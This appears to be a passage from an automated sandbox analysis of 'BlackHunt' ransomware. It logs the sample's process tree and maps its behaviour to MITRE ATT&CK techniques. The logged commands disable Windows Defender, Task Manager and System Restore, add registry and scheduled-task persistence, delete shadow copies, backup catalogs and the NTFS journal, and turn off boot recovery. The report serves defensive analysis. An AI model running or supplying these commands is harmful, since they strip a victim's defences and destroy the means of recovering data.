  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:3396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:4804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe" /F
  2⤵
  - Adds Run key to start application
  PID:4036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e6c977743a37f0a3be3e392afeffebe47199ba13883566a55a757f20a78af07d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:100
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2768
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3024
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:780
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4368
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5056
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5052
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3028
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2580
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1068
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1752

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3080

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5012

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2452

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery